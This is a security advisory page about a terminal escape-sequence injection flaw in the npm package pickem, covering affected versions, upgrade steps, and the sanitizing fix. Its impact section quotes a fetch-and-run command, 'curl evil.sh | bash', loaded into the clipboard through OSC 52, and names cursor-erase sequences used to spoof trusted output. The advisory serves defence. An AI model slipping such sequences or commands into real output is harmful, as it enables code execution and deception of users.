High (AgentArmorHQ estimate)Other

pickem vulnerable to terminal escape-sequence injection via unsanitized item text

Product
pickem
Affected
pickem < 1.0.7
Fixed in
1.0.7

Last verified against sources: October 26, 2026

Am I affected?

pickem: affected pickem < 1.0.7. Fixed in 1.0.7.

  • Check your version: run npm ls pickem. Versions < 1.0.7 of pickem are affected. [1]

What to do now

  1. Upgrade to the fixed version: run npm install pickem@1.0.7 (first patched version 1.0.7). [1]
  2. Upgrade to >= 1.0.7. [1]
  3. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem. [1]

General practice, not from the source: if the affected software could read tokens or credentials, rotate them after upgrading; pin versions and review changes before updating tools your agents run.

Discuss this incident

What happened

  • pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. [1]
  • chrome.row only stripped ANSI from the **active** row. [1]
  • inactive rows, the public createFormatter, and selection-summary lines printed labels **raw**. [1]
  • the ANSI strip missed bare C0 controls anyway. [1]

Impact

  • a malicious label was a terminal write primitive. [1]
  • **OSC 52 clipboard write** — silently load e.g. curl evil.sh | bash into the user's clipboard. [1]
  • **Cursor-movement + erase** (ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI. [1]
  • **BEL / C0 control flooding.** [1]

What was done

  • Fixed in **1.0.7**. [1]
  • A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary. [1]
  • applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. [1]
  • Display-only; returned values are unchanged. [1]

Sources

  1. GHSA-8qx3-8gm5-9cj2 — GitHub Advisory Database

Every statement above was checked against these sources before publishing. Spotted an error? Tell us and we will correct it with a dated note.

Share advisory brief with your team

Copy a plain-text summary for Slack, GitHub issues, or team security channels.

Brief
pickem vulnerable to terminal escape-sequence injection via unsanitized item text
Product: pickem | Affected: pickem < 1.0.7 | Fixed in: 1.0.7
Summary: pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization.
Source & remediation on AgentArmorHQ: https://agentarmorhq.com/incidents/2026/08/ghsa-8qx3-8gm5-9cj2-pickem
Was this page useful?

Corrections

Report an error or request a correction. We review requests within 5 business days and add a dated correction note.

10 to 2,000 characters. A link to a source helps. Stored as plain text.

Discussions for pickem

Ask questions or share configuration tips. Governed by our Community Rules & Terms.

No posts match this filter yet.

Be the first to ask a question or share a working tip.

Check before you install

Paste a package name or a GitHub link and get a clear answer in seconds: Block, Review or No known issues. No account needed.

Check a package

Questions? Contact us